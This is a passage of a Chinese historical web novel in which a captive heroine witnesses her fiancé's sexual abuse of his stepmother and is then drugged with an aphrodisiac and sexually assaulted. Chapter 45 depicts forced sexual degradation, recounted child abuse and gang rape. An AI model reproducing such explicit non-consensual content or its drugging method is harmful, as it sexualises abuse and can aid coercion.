男人瞬间惊醒，一个飞跃纵身跳入海子，拼命向火球方向游去。
心中懊悔不已，倘若沈枝意出了问题，他就是赔上所有身家性命，亦难以同沈恪交待。
整座船舱已被炸得四分五裂，木板断裂碎片，散发焦糊气味，火焰翻滚江浪，水火得以永生。江面漂浮几具尸体，殷红染透半江水。
时枫仔细翻检尸身，皆是船夫、船婆子和船老大等人，所有人都被利器割断喉咙毙命。
希望渐渐渺茫，男人似游魂般飘荡。
忽然，远处什么东西扒着木板哗啦哗啦踩水。
时枫飞一般窜过去。
凑近一看，小小人儿，脸颊架在木板上喘息。右臂裸露在外，血伤触目惊心，不停地往外渗血，引来成群的游鱼。
原来沈枝意被水鬼擒住，期盼半日也无人拯救，只好自力更生。虽然不通拳脚，然而跟随沈恪走南闯北，也学会些逃生的小手段。趁水鬼不注意，狠踩贼人脚面，身子一挪，钻进隔间的木门后。
千钧一发，许是船舱另一边出了事故，导致众水鬼放弃追捕，执行紧急撤退，临行前挨个抹了俘虏的脖子。
沈枝意在隔间躲藏半日，听得门外惨叫声渐渐停歇，这才小心翼翼探出门。
哪知敌人点燃火药引信，欲炸毁整座画舫。
在爆炸前刹那，沈枝意纵身跃入江水，右臂被崩离碎物击伤，咬牙拔出铁刃，抓木板奄奄一息。
沈枝意委屈地哭道：“枫哥哥，你怎么才来？再晚一点，卿卿就没命啦。呜呜呜……”
男人撕心裂肺般痛惜，宽大臂膀裹住小小人儿，搂在怀里，喃喃道：“是我的错，是我的错。”
另一边，苏绾目送时枫离去，心内焦灼不已。
生命流逝，过眼云烟，她亦难逃历史的车轮。
苦苦执着于立天改命，值得吗？
经此一遭，恐怕温如初已对真相了解得八九不离十。剩下一点谜团，估计在于逃婚的缘由。
她不敢再提有关时枫的事情，亦不能过问画舫的结局，心中愁绪万千，只得低身拜道：“绾绾感到十分疲累，念哥哥送我回去吧。”
温如初未作答。
马车晃晃悠悠，踩在青石子路面，咯吱咯吱响。画舫残骸浅淡，渐渐化作青烟，融入天际不见。
温如初食指叩敲车窗，淡淡道：“你跟我回家，见见我父母。”
苏绾闻之色变，好端端地为何要去温家。她直觉上准没好事，但她也不敢拒绝，只好囫囵答应：“好。”
温如初桃花眼眸剪了剪，望向窗外飞花，陷入久久的沉默。
44. 温家
霁日当空，雨后初晴，绿槐高柳咽新蝉。紫竹苑落英缤纷，扫帚簸箕横躺，扫院婢女不知所踪。大概跑出去玩了，小丫头年纪不大，玩心尚重，无霜也未在意。
因苏府大少爷苏尽欢牢笼溜达一圈，又被全须全尾释放。别的不说，上次苏尽欢可是对她放下狠话，“早晚要办了你”，令无霜彻夜难眠。盼望小姐早日带她逃出樊笼，从此不再担惊受怕。
忽然院子外面有响动，无霜赶紧出去一看，扫院婢女春蝉手捧木盆，悻悻归来。
春蝉噘着嘴，称自己被管事嬷嬷差遣去东院磨豆腐，辛苦劳作大半日，获得一盆没人要的豆腐渣滓。
无霜拉着春蝉的手，嘱咐她道：“你是紫竹苑的婢女，无事不必听东院调遣。你想想看，东院那么大，还缺你一个磨豆腐的吗？分明是夫人屋里的嬷嬷故意支走你，让你落得一个懒散倦怠的罪名。”
春蝉唬得满脸惨白，连连弯腰道歉，发誓下次再也不去了。
芸娘恰巧路过，捉裙上前招呼无霜，“是我叫她去的，不碍春蝉的事，她也只是听从吩咐罢了。”
素手一抹额间细汗，“我打发春蝉去东院忙活，分散婆子们的注意力，没事不要老盯着咱们。”
芸娘香汗淋漓，自晌午就在院里忙碌，打发小厮搬进搬出，十几只檀木箱子，全都上了锁。
无霜问道：“二奶奶这是要搬家，搬到哪里去？我前儿见到门口停泊送货的马车，好几辆呢。”
芸娘连忙嘘道：“小声些，莫叫那院的听了去。”她瞅了瞅周遭，低声道：“早前我就和你家姑娘商量好了，待风头火势过去，咱们就离开这座阎王庙。既这么决定，那不得备着些钱财么，我这神不知鬼不觉把家什运走，待女大虫坐吃山空那日，一准活活气死她。”
无霜惊道：“话虽如此，二奶奶大张旗鼓地搬家，即便夫人不知道，老爷常回来住，肯定会发现的呀。”
芸娘狡黠一笑，障袂道：“你道我有那个胆子，在老爷眼皮子底下瞎搞？都是老爷授意我这么做的，就是吃准不让女大虫好过。”
无霜转忧为喜，“霜儿果然没有看错，二奶奶是个值得托付的人。小姐能得二奶奶助力，真是天大的幸运。”
二人正说话间，忽然文竹急急忙忙从外头归家，一进门四处寻找无霜。他刚刚接到温府随从远舟递来的口信，言二小姐旅途劳累，先去温府歇脚，今晚不回来了。
“姑爷请阿绾去家里做客，这能有什么问题？”芸娘感到疑惑不解。
文竹却说，他在街角听到，午间北海河道发生大事件，整座画舫炸成碎片，全城巡逻士兵都去了，正在抓肇事者，却没有任何线索。
芸娘惊道：“咦？阿绾跟姑爷，去的不就是北海？别是出什么岔子罢。”
能有什么岔子呢？
无霜不得而知。
春色将阑，莺声渐老，转眼又过了十日。
苏绾抬首望见府邸灯笼印制“温府”二字，莫名感到阴风飒飒，不禁拉扯肩头薄纱披帛。
自画舫一案，她被温如初胁迫，拐来温府以后，一直客居在厢房，足足过了十日。
期间，除却一两哑巴婢女，及打杂的沉默仆役，她未曾见过温宅家主，就连温如初，亦是深居简出，不曾露过一面。
苏绾等于是被软禁。
心中揣测万千，不知前景如何，又牵挂无霜芸娘等人，生怕她不在身旁，她们被别人欺负了去。才下眉头，又思及那个家伙最后纵身跃入江波的情景，也不知道他还活着没有。
无数忧虑思念缠绕成团，丝丝缕缕勾连心头眼底。翻来覆去，夜不能寐，人也日渐消瘦。
这日里，忽然侍从远舟拜道：“少爷请姑娘前堂相见，拜会老爷及夫人。”
该来的，总会来。
苏绾星眸泛起坚毅光芒，小小身板挺立风中，飞花搅独愁。
温家老宅百年有余，簪缨世家，书香门第。温老爷官拜从四品国子监祭酒，因年岁已大，桑榆暮影，早早以健康为由向朝廷请了致仕。
温老爷四十多岁方得一子温念，养到七八岁，老妻病逝，隔两年娶一房年轻貌美正妻，成为温如初的继母。
温家人丁单薄，温老爷子性情寡淡，未另娶填房，从此再无所出。温如初一心扑在官路上，也未纳妾。合家上下，仅三人而已，不免有些清冷寂寥之感。
温老爷年逾古稀，神智不大清醒，整个人被塞进木质轮椅中，仰头靠在椅背，张着干瘪无齿的嘴，嘴角垂涎欲滴，口中咿咿呀呀囫囵不清。
温夫人年纪三十出头，徐娘未老，风韵犹存。穿一件广袖长袍褙子，紧实罩住全身。不知为何，眉眼透着丝丝缕缕哀愁，让人不解。
苏绾上前，深深道了个万福：“小女苏绾，拜见温伯伯，温伯母。”
温夫人促狭道：“孩子快起来，咱们马上就是一家人，彼此不必客套。”丹凤眼一转，满脸歉意道：“老爷身子骨不太便利，就甭再请安了。”
她抬手令苏绾入座，寒暄客套两句，问候苏夫人苏老爷金安。
前世苏绾嫁入温家，新婚燕尔，每日依照规矩晨昏定省。记忆中温父温母和善可亲，与眼前所见并无二致。
事出反常必有妖，人若反常必有刀。
苏绾心中惴惴不安，不晓得温如初打的什么算盘。她倒不惧怕他以温家为由，逼迫她早日成亲。已经板上钉钉的事情，也不差这一时半会。
恰时温如初趸入厅堂，幽幽檀香萦绕。
“绾绾，这几日你可还好？抱歉，最近我忙于应付公务，冷落了你，你不会怪我吧。”温如初负手而立，芝兰玉树，春风毣毣，笑意盈盈。
苏绾打心眼泛酸，她真是看够了温如初这套虚伪嘴脸，明明对她有所企图，偏要装出深情款款模样。
她强忍作呕的欲望，侧身娇声道：“念哥哥心系天下百姓，绾绾又怎会不高兴呢？”
温如初桃花眼眸闪过不易察觉的光芒，长白手指递向苏绾，任她娉婷袅娜地追随他的脚步，又陡地一摔，栽歪进他怀抱。
“当心。”温如初低身扶起佳人。
苏绾蓦然一惊，瞬间脸颊绯红，慌忙站起身，“念哥哥，不要这样，伯父伯母看着呢。”
美人娇切，嘤嘤成韵。
温如初笑道：“绾绾不必烟视媚行，父亲母亲面前，我向来直截了当，肝胆相照。”他瞥了温父温母一眼，“我所钟意的女子，他们二老亦当视若珍宝。”
言讫，令奴仆端来两盏茶，温如初一撩衣摆，亲自上前奉茶。
他取下一盏，双手奉给温夫人，态度毕恭毕敬。温夫人接茶，微微颔首致意。
温如初回手取下另一盏，趸至温老爷身边，调高音量，“儿子给父亲敬茶，祝父亲椿龄无尽，海屋添筹。”
温老爷似有反应，咧嘴憨笑，嘴里哇哇乱叫，两只枯木手掌猛烈拍打轮椅扶手。
温如初握住温老爷干瘪下颌，擎着热气腾腾的茶盏，对准嘴巴向里倾倒。
茶水沿着黑洞般嗓子眼顺流而下，温老爷泪眼滂沱，嘴里依旧乱叫着，两手猛拍木椅。
同之前动作没两样，外人也难深究，茶水是否过热，温老爷有没有被烫到。
苏绾心内一震，星眸闪烁不定。她猜那杯茶水本来就是烫的，可她又想不通，温如初为何要强灌他的亲爹，这难道
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不是大不敬？
温如初敬完茶，取出汗巾拭手，面对温夫人，目光冷漠，“母亲此前从未见过绾绾，今日一见，感觉如何？”
温夫人一愣，显然未曾料及温如初会这样问她，她顿了顿，“苏姑娘典雅大方，温婉贤淑，得以嫁入我温家，乃我温家荣幸。”
温如初忽然眼眸一沉，汗巾猛地飞出，狠狠地抽中温夫人面颊，“虚伪。”
“你心里可不是这般想的。”他说。
温夫人被打了个措手不及，登时面色苍白如纸，慌忙摇手辩解：“我没有，我是真心喜欢苏姑娘的。念儿，你千万不要这么想。”
温如初目光闪过若有似无的凉意，“你少狡辩，我还不知道你的鬼心思？你难道不是轻贱她庶女身份，认为绾绾根本配不上我吗？”
温夫人腾地站起身，碎步上前，扑通一下，兀自下跪哀求：“温婢不敢，求念儿饶恕。”
苏绾惊得瞠目结舌，噤若寒蝉。堂堂温家正头夫人，一言不合竟给继子下跪。
温如初神色淡然，命令道：“你自己去跟绾绾说。”
温夫人跪地匍匐至苏绾脚下，低声下气，“苏姑娘，求求你相信我，温婢不敢对你不敬。”
苏绾早已吓傻，她慌忙扶起温夫人，“夫人快快起身，苏绾担不起。”
温夫人执意不肯，非要苏绾亲口说出“原谅相信她”一类的话语，她才愿意起来。
苏绾被她弄得精神恍惚，只好连声答应：“我相信你，你没有对我不敬。”
温夫人若获得救赎，抬起半个身子，望向温如初，眼神期期艾艾。见温如初不置可否，她才委身爬起来，重新回到座位，扣好褙子对襟，又成为雍容文雅的温夫人。
温如初恬然道：“甚好，一家人不说两家话，和乐融融。”
温夫人跟着假笑，嘴角不自然地上翘，看起来却是一副苦相。
苏绾浑身冷汗岑岑，简直不敢置信，温夫人一家之主，就这样屈服于温如初的淫威之下。
她扶了扶额，佯作疲乏劳累的样子，“念哥哥，我叨扰贵府十日，还未跟父母报备。眼下见过伯父伯母，一切安好，我也该回去了。”
温如初道：“不急，用过晚膳再走不迟，我叫厨房预备了你最喜欢吃的莲子羹，先扶你去厢房歇息。”
他既不肯放她走，苏绾也没得办法，只得跟随仆从来到厢房，躺在床榻上，难以相信刚才发生的一切。
温如初随便一句话，挑起事端，竟让温夫人放弃尊严，跪地求饶。简直滑天下之大稽。与之相比，温如初暴力对待温老爷，反倒算是仁慈之心。
她不晓得，温如初揭开家族遮羞布给她看，究竟有何用意。她单觉得，纵然温父温母，血脉亲情，依然逃脱不掉温如初的夺命桎梏。
恶鬼竟连父母高堂都不放过。
冷寒袭来，苏绾紧紧地裹住身上的被衾。脑子里阗满杂乱思绪，诡谲臆想，一夕千念，仿佛无形山峦压在心头。想着想着，她就睡着了，鼻尖萦绕淡淡檀香。
落日熔金，暮云合璧。
隐隐约约的呻吟声传入耳际，将苏绾从梦中惊醒。
她环顾四周，暗淡灯火映照房间阴影，所有物品都被悄无声息地吞噬。眼睛紧盯黑暗角落，寻找声音来源。身体不受控制地颤抖，嘴唇轻轻哆嗦，仿佛无数条小虫在肌肤爬过。
苏绾寻着声音来源，找到狭窄暗室。临近暗室，呻吟声愈发清晰可闻，伴随阵阵呼吸声。她感到惊惶不安，但好奇心驱使她，小心翼翼趴在窗格，屏住呼吸，试图一探究竟。
灯影憧憧，苏绾瞪大眼睛，却一眼窥见人间炼狱，令她不禁倒吸一口冷气。
45. 毒酒
阴暗的房间，银台红烛淌泪，烛火摇曳逐风斜。
温夫人跪伏在地，肩头褙子半遮半开，内里春光乍泄，正被一老汉压在后背，反掣住手臂，推进拉扯不休。温夫人面容痛苦，娥眉紧蹙，朱唇紧抿。
面前立着温如初，一脸冷戾之色，觑着面前男女媾合。
“舒服吗？”温如初冷冷道。
温夫人咿咿呀呀：“舒、舒服。”
“舒服就学狗叫。”
温夫人立刻汪汪叫起来，听得苏绾头皮炸裂。
温如初面露满意之色，抚摸温夫人头顶，“乖狗儿。”
老汉突然集中火力猛攻，拉着温夫人猛力摇晃几下，在温夫人连连惊叫中，霍然抽出泄身。温夫人立马回头踅身，扑在老汉股间，舌头舔舐干净，真跟哈巴狗儿一般。
温如初命令：“今日饭食喂完了，下去吧。”
老汉起身，拜了拜温如初，提上绔子，穿好粗布衣裳，踅身出门离去。
苏绾忘了躲闪，同老汉擦肩而过，立在窗外不知所措。
忽然里面声音呼唤她，“绾绾，进来。”
苏绾仿佛一架行尸走肉，无神地踱进屋里。她完全不敢看向温夫人，眼神拼命躲闪。
温如初扯过玉手，揽香肩入怀，嘴角上扬，“绾绾，看得尽兴否？”
苏绾低垂着头，寂然无声。
温如初回眸命令：“温婢，过来。”
温夫人双膝跪地，两肘支前，应声而来，爬至温如初脚下，跪伏起身，望着温如初，两眼放光。那表情好似狗儿深情凝望主人。
温如初睨了一眼地上的温夫人，“你可知她为何沦落为奴？”
苏绾摇摇头。
温如初缓缓道：“她本是鸿胪寺卿家的千金小姐，年方二十五岁，待字闺中。人道是她始终出不了阁，因她与鸿胪寺九品不入流的署丞私定终身。然对方身份低微，这一生也娶不得她。”
温如初咬牙恨道：“我爹受小人蛊惑，八抬大轿娶她进门做正妻，拆散她一对鸳鸯宿。这个贱女人，对我温家怀恨在心。那时我才十岁，懵懂儿郎，根本不懂抵抗。竟被她祸害了去，日夜奸霪，成为禁脔。她不去勾搭小厮奴才，偏偏对我一个未经事的孩童下手，报复温家强取豪夺。你说，她该不该死？”
苏绾仿佛听到天方夜谭。
温如初继续道：“我爹是个老糊涂，视而不见，充耳不闻，任她肆意胡作非为。我咬牙强忍四年，十四岁躲入山中寺庙带发修行，苦练剑术防身，总算逃离魔窟。后来我继晷焚膏，囊萤夜读，凭自己本事，蟾宫折桂，爬到如今的位置。就为了能亲手惩罚她这个——”
他骤然转身，回手一巴掌，“啪”得一声，重重扇在温夫人脸颊。
“贱婢。”
温夫人捱了一下，身子一旋，栽歪倒地。她很快爬起身，重新跪伏地面，好似不倒翁。
温如初睇着跪在地上的温夫人，脸上露出满意的笑容，“人变成狗，其实很简单。抓住她的软肋，用力拧紧，最好拧下她心头肉，她便会乖乖做一只哈巴狗。”
他顺手牵起温夫人一缕长发，绕在指间，“贱婢不是喜欢霪乱么？当着她心上人的面，被一百人轮流奸污，啧啧，那位九品署丞，哦，做了一辈子九品芝麻官，果然不入流，竟然抠瞎自己双眼。”
“哈哈哈哈，负我之人，当毙我剑锋之下。”温如初仰天大笑，笑容凄厉悲戚。
温夫人被他扯得东倒西歪，俨然成为一尊玩偶，眼神黯淡无光，身体麻木不仁，不知是否回味署丞当着她的面暴毙时的惨状。
窗外日光弹指过，席间花影坐前移。某种古老咒语力量牵引，苏绾的神态迷茫，如梦初醒，眼神空洞，身体微微颤抖。
她静静地望着窗外，亘越古今。神思飘飘荡荡，跟着回到十年前。
她看见，曾经少年懵懂无知，绮纨之岁，稚嫩清白的心，惨遭魔爪蹂躏，直碎裂成粉矶，洇着殷红血迹。又从破碎污浊里，开出荆棘浴血玫瑰。
长廊静院，灯火如月，碎幕流苏乱结。佛音呢喃入耳，禅影缥缈绰约。而满堂花醉的氛围，却掩盖不住一剑霜寒所带来的杀意。
苏绾伸出手去拉陷入泥淖中的少年，你不该这样。
少年掀眸睇向苏绾，悲戚一笑，佛不渡我，我自成魔。
苏绾哭泣，别走，你别走。
少年举起血红指甲，轻轻划破胸膛，剖出炽热滚烫的心脏。攥在手心，捏成粉齑，烟消云散。
光华流转，恍如隔世。
温如初睇着烛火，眸底泛出阴鸷之色，声音平静如水，却隐约浮现杀气。
苏绾踉跄倒地，面颊毫无血色，星眸淡漠光彩，变成两粒死去的鱼目。她的心灵遭受莫大的打击，濒于崩溃边缘。
眼前诡谲景象，化作黑白无常，温如初是那白无常，面色惨白，口吐长舌；温夫人则为黑无常，身宽体胖，个小面黑。一黑一白，两位鬼差，呼号向她索命来。
苏绾缩成一团，抱头泣曰：“小女子不曾害人，求鬼爷饶我性命。”
温如初见火候已到，揪住苏绾衣领，俯身睇她。
“绾绾，我再问你一次，你可曾负我？”
苏绾低声道：“我没有。”
“还在狡辩，那个男人是谁？”
脑子灵光一闪，浮现男人身影，玄色衣衫，高大挺拔。
苏绾果断道：“没有人。”
“是个有武功的人，对吗？”
他不啻会武功，诗词歌赋联对子还很在行。
苏绾喃喃道：“没有，没有任何人。”
“还敢嘴硬！那块墨玉的主人，就是你的秘密。”
苏绾依旧不松口，“不是，与我无关。”
“苏绾，你少装蒜，别以为我看不透你的鬼蜮伎俩。你瞒着我做过什么事，你自己心里清楚。眼前我给你最后一次机会，你告诉我那个男人是谁，我就放过你。倘若惹恼了我，你会沦落为跟温婢一样的下场。”
烛火摇曳，映照温如初惨白俊脸，宛如暗夜鬼魅。同他身上隐约弥散的檀香气息，相形益彰，刺激着苏绾的神经。
恶鬼终究对她亮出獠牙。
苏绾闭上眼，俄顷，吐了口气，“你打不过他。”
温如初桃花眼眸一沉，嘴角向上翘了翘，“你终于肯承认了。”他步步紧逼，“他是谁？”
苏绾凛然道：“他是我的剑，一身浩然正气，上斩邪神，下伐恶鬼。魑魅魍魉，妖魔鬼怪，休得近身辱我！我手持三尺利剑，杀尽天下一切不平事。”
仿佛用尽毕生力量，苏绾垂下美丽的螓首。假如虚张声势吓不到他的话，她唯有束手就擒。
温如初一脸死寂之色。
他再次扬起手掌，停在半空中，久久不肯落下。并非他怜香惜玉，他的仁慈心早在佛堂就祭了天，化作一枕清风，毫无痕迹。
他是不甘心，凭他机关算尽，竟被苏绾小小草芥子牢牢反制，用尽震慑手段，也不能让她屈服。
可恶。
苏绾抵死不从，出乎意料之外，又在意料之中。从前的苏绾，乖顺柔软，断不敢背叛他。眼前的苏绾，却不是苏绾，换了铁石心肠。她的眸色不再如之前那般纯净无暇，掺杂愤怒与憎恶。
温如初自省，并无任何泄露底细，露出马脚行为。却不知苏绾如何经历一番曲折，变换心意。
无妨，尚在掌控之中。
他还有一道杀手锏——婚约。婚期将至，躲在苏绾背后的奸夫，很快就会浮出水面。不管他是不是时枫，他都不怕。到时候，再将他们一网打尽不迟。
既掰不开苏绾的口，那也要敲碎她的牙，让她形神俱灭，无处可逃。
“绾绾，你真让我失望。”桃花眼眸一凛，眼底肃杀之气尽显。
苏绾抬眼惊恐睇他，每当温如初说出“失望”那两个字眼时，意味着接下来，苏绾即将面对暴风骤雨的洗礼。
从前，这种侵袭往往都以言语形式，直达她内心最柔软处，将她虐得体无完肤。
然而今日，她从温如初决绝的眼神中，读出另一层涵义——他要付诸实际行动。
苏绾轻轻摇头，泪水在脸颊滚落，细声絮泣：“念哥哥，我好怕。”
她双手紧紧握拳，指关节凸起，全身颤抖不已，仿佛受到无尽的恐惧和压迫。
温如初拎起案上酒壶，桃花眼眸睐着她，印着一丝诡笑，“你既没做亏心事，有什么好怕的？我又不会伤害你。我爱你还来不及。”'');(window.adbyunion = window.adbyunion || []).push(id);})();
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苏绾转身欲逃，可她腿脚酸软，根本站不起身。她慌张得卧地匍匐爬行，好似受伤的士兵，向门槛逃去。
温如初轻轻一脚，正踩住她裙裾，邪魅狂狷地笑，“你跑什么？我不过是想喂你吃点酒。这酒混有合欢散，能教你口吐真言，对我言听计从，倒省去我许多麻烦。”
“合欢散”，三个字犹如琴竹，紧紧地拨动苏绾心弦。她可太熟悉这三个字了。
上一世，温如初正是用合欢散麻痹她的神经，将她送入阁老床榻，夺走她的贞洁。上个月，她还利用合欢散，算计了苏尽欢，摧毁他的官途人生。
苏绾惊恐地尖叫，声音撕裂喉咙：“不要！不要！”她不停地挣扎试图挣脱，但束缚太紧让她无法动弹。她转向温夫人，苦苦哀求：“夫人，救我啊！救我！”
温夫人身子颤抖着，双膝弯曲在地，脸上毫无表情，眼中失去神采。手指无力地握成拳，指甲深深地陷入肉中，却丝毫没有痛觉。死寂笼罩着她，仿佛她已经不再是这世界上的存在。
温如初嘴角轻扬，带着一抹不屑，“她救不了你，你还是呼唤别人罢。”说着，他悠然地抬起手，轻轻一扬，仿佛尽在掌握之中。
突然间，眼神变得阴沉，俯身贴近被俘虏的人，几近耳语，“你想叫谁来救你？”
俄延半晌，“可是那位姓时的将军？”
语气冷戾，让人不寒而栗。
“不、不是。”苏绾的声音变得歇斯底里，眼中充满恐惧和绝望，“温念，放过我吧，求求你。”
温如初擎过她的下颌，捏紧她的两腮，壶嘴探入檀口，咕嘟咕嘟，猛灌大半壶，喃喃道：“求我放过你？你死了那条心吧，没有那一天。苏绾，你永远都是我的。”
膻腥酒气自口入肠，在肠底打个转，又不断向上翻涌，卷着胃中残余爬入喉咙。
苏绾哪里经受得住这般折腾，身体痉挛呕吐不止，吐了温如初素白袍子一身污秽。
温如初神情激动，桃花眼眸放射光彩。他一辈子在污泥中摸爬滚打，心灵早已扭曲变形。愈是污浊之物，愈加让他兴奋异常。
他脱掉脏污外袍，只剩单薄中衣，不经意间掉落一粒纽扣，前襟半敞半掩，露出硬实的胸肌。
修长手指抓着堆鸦发髻，仔细以袖边擦拭掉唇际污物。俯身拾起地上半瓶酒壶，壶嘴斜倒入口冲刷。又恐她反胃，嘴唇贴紧檀口，堵住喉舌，强逼她吞酒进肚。
他倒是毫不顾忌，一手擎着她后脖颈，一手环绕丸束。舌头伸入唇齿间，深深亲吻掠夺汁液。
苏绾化身成上岸的鱼，大口大口呼吸，仍得不到给养，几欲窒息而死。
温如初吞了酒，动了凡心，眼眸散发血红光芒。他用力一扯，撕裂苏绾的衣裙，露出白皙臂膀。脸颊贴近雪白鹅颈，贪婪嗅闻花间馨香。
他的言语颤抖，带着一丝兴奋，“我之前从未触碰过你，只因你价值连城，我须为你寻得一个匹配的千金买主，才算对你圆满。”
“可你竟敢背叛我，与他人苟且，自降身价，我留你何用？不如破了你的身，让你真真正正属于我一个人，永远都不会离开我。”
苏绾意识尽失，身体瘫软一团，任由他摆布。细长手指拂过每寸肌肤，随着他的指头律动。
一路畅通无阻，并没有遇见期待中的障碍。他略微有些讶异，完全不似洁白无瑕。
有人摘取了他辛苦种下的果实。
“绾绾，你背后的那个男人到底是谁？”温如初怒火中烧，声嘶力竭，他要亲耳听到那两个字，实实在在。
受药物作用影响，苏绾此时神智无知，脑中一片浑浊，冥冥之中，仅剩神思火花跳跃。
“是谁？”两字钻入苏绾脑际。
她耷拉着脑袋，嘴角一滴口水，“时……时……”
后面的字眼迷离倘恍，好似隐藏在记忆深处，遥远不见踪影。
“是谁？”语气风霜刀剑。
温如初越发失去耐心，他已做好准备，倘若苏绾依旧不肯就范，他便就地将她法办，奸污了她，反正她也丢了清白。
对方不断夹击追问，苏绾亦有些着急，结结巴巴：“时……时……”
口型呈现一个字眼，“枫”字声音喷薄欲出。
46. 隔绝
六月初九，小暑，南风吹白沙。
因画舫一案，涉及朝廷三品官吏，受皇帝旨意，三法司奉命联合会审查案。期间，三法司衙门不断派人登门造访，分别对温如初与时枫进行问询采证。
大理寺卿邵云礼来了几次，未能提供多少有价值的信息，只说北京城内，无论贵贱籍，“萧染”根本查无此人。
“或许是化名，随口杜撰得来。”邵云礼支着下颌，神情专注。
时枫抱臂坐进太师椅，两腿伸直搭在桌案，“一个专门挑战我名号的人，却不敢暴露自己的真实姓名。那他即便赢了我，也无法光明正大活在当下，还值得这般拼命吗？”
邵云礼咬着手指，“鬼市多的是这种无名无姓无户籍之人，要么死而复生，要么刻意隐瞒，也不算什么稀奇事。最关键的，萧染盯上你，其目的何在？”
瞟了一眼时枫，“你不会当真以为，他是觊觎你‘冷面阎罗’的名号，来找你单挑的吧？”
时枫耸了耸肩膀，撇嘴道：“他若喜欢，那就送给他好了，我没所谓，又不是多好听，一个诨号而已。”
邵云礼啐了一口，“那也不能由着他胡来，这京城布防司的天下，岂能落入鼠辈之手，忒丢我大理寺的颜面。竟敢在皇城根儿搞出爆炸血案，公然挑衅三品大员，怕不是个疯子，要么就是背后势力大过天。”
“你说到点子上了。他就是一疯狗，发起疯来乱咬人，没有什么逻辑动机。”
“他的那些兵，多为乌合之众，可能是鬼市临时招募，并非训练有素的正规军。”
邵云礼摇头，“疯狗咬人，也得先掂量掂量自己几斤几两，弄不好遭反噬。挑上你的门，必然另有所图。”
“我自来京城不到半年，有何可图？”
睇着墙上悬挂紫菁宝剑，邵云礼沉眉道：“恐怕，对方盯上的，正是你来京的目的。”
时枫凤眸一凛，他自请调来京城，是为调查哥哥时樾的死因。难道说，萧染跟这事有关系？
“温如初那边怎么说？”
邵云礼摇头道：“温侍郎对画舫一案讳莫如深，缄口不言。”瞟了一眼时枫，“许是现场受了什么刺激。”
受的刺激还不小，夺妻之恨够他喝几壶。自己这背叛兄弟的罪名，到底是坐实了。
十日以来，苏府的“鳐鱼”未曾传递任何纸条，没有消息，就是好消息。看来温如初，并不打算追究他和疯婆娘之间的过往。
倒显得他，是个背信弃义，不忠不义的小人。
邵云礼像是想起什么似的，一拍巴掌道：“你憋在府里不出门，朝堂上的事情也不得而知。圣上下了懿旨，钦定户部侍郎温如初为南巡钦差大臣，南下浙江福建沿海监督海盐漕运，以抗击倭寇，不日即将出发。”
“什么？！”
男人猛然惊醒，从藤椅上跳起身，凤眸炯炯，嗔道：“怎么不早告诉我？”
福建都指挥使沈恪北上带来的消息，福建沿海的海寇蠢蠢欲动，似有谋逆迹象。他正草拟《抗倭战略》，以配合沈恪禀告皇帝裁定。
眼前他的战略还未拟定，奏折墨迹未干，圣上怎么就下懿旨了？竟还钦定温如初去监察？
邵云礼闻言一愣，“我以为是你的意思啊，都指挥使沈恪不是客居在你府上吗？他都没跟你商量就去禀告圣上？你这世侄怎么当的。”
时枫咬了咬后槽牙。
画舫一案牵动不小，不仅损失全船人的性命，连带沈枝意也遭受重击，于公于私，他这京卫指挥使都是严重失职，该受兵部停职查办。
沈恪念在与他父亲时谦乃生死之交的份上，并未十分苛责他的过错，还写信给兵部尚书求情，力保他的官途前程。
然而在抗倭这档子问题上，沈恪怎么又反悔了？
问题太多，一时没有头绪，时枫只得抖擞精神，剪着手臂，匆匆踏进后花园，彼时他父女二人正在观赏风景。
“枫哥哥，你来得正好，快来看这是什么。”
沈枝意右臂缠绕绷带，层层叠叠包裹厚重，她双目紧盯绷带上栖息的一只怪虫。
那虫浑身绿色，前半截肉虫模样，后半截似绿叶，叶脉清晰，边缘还有咬痕，爬行时摇晃身体，宛如风吹树叶。
时枫眯眼观察一阵，断定道：“此虫名为叶?，看似树叶，实则是它躯体一部分。唐代房千里著作《投荒杂录》中，曾对此虫有过记载，主要用作春、咳，春药制造。”
他滔滔不绝介绍，话到末尾，方觉不妥。故意咳嗽一声，试图遮掩尴尬。
沈枝意好奇心不减，横摆右臂，引沈恪观望，“爹爹你看，这虫儿竟如此神奇，本是虫心，却长出叶态，十分新奇有趣。”
沈恪捋了捋花白胡须，意味深长道：“此物最擅长伪装，狡诈奸滑，莫要被它的外表所欺骗。指不定在你不注意的时候，咬上一口，叫你毒发身亡。”
“爹爹就会吓唬人。它不过是条小虫，外表比别虫长得奇特些，也只是想保命罢了。蝼蚁尚且偷生，叶?又何罪之有？”
沈枝意努努嘴，手指轻轻勾弄虫儿的叶尾，那虫儿受了刺激，摇头摆尾，好似鲜活的绿叶精灵，越发诡异奇绝。
沈恪摇头，“你才多大年纪，哪里见识过人心险恶。你道它是一条小虫，外表温良，不存害人之心。可你有没有想过，你若不被它咬住，又怎知它害不害人？”
“噫，这么坏的东西，那我不要它。”沈枝意嫌恶地甩掉叶虫，那虫摆摆叶状尾巴，落入草丛不见。
时枫剪着手臂，听他父女二人为叶虫辩春秋，颇有一番雅致，他兴趣盎然地聆听半晌，末了抚摸沈枝意的额首，“今天感觉如何？手臂痛不痛？”
沈枝意摇摇头，“不痛，但有些痒。爹爹说，发痒就是快好了。多亏枫哥哥拿来的绿色膏药，不到半日伤口就有所好转，说不定已经悄悄愈合了呢。”
他也曾给过苏绾那膏药，治疗她的脚踝扭伤，不知道她的痛伤好没好，还疼不疼。
像是读懂时枫的心思，沈枝意突兀问道：“自画舫一别，已十日有余，绾姐姐可还好？”低首垂眸，伤感道：“绾姐姐跟我说，她一直盼望早点与温侍郎成亲。经历这次劫难，也不知婚期是否受影响。结不成婚，绾姐姐要伤心难过的。”
沈恪幽幽插话道：“圣上降旨赐婚，天王老子也拆不散，你瞎跟着操什么心。她成不成亲，与你没有半点关系，还是先管好自己的事情罢。”
沈枝意瘪嘴道：“人家担心绾姐姐嘛，她与温侍郎情投意合，天造地设一对，合该喜结连理。爹爹的话，真是没道理，哼。”旋即气鼓鼓捉裙趸步离去，蝴蝶蹁跹飞入花丛。
剩下时枫站在宽阔的院落，琢磨沈恪话语的意思。话中有话，指桑骂槐，分明在敲打他，听得时枫心里发毛。可不等他揣测完，沈恪倒是直截了当挑明话头。
“榆白贤侄，我知你来是何意，你是想问我，为何抛弃与你的约定，先行将海寇一事禀告圣上。”
“老夫这么做，原因很简单，就是为了让你彻底远离苏君识家的那位庶女。”
“你别以为老夫是个老糊涂，我把乖女儿交给你手里，你不好好珍惜她，还在外面胡搞瞎搞。”
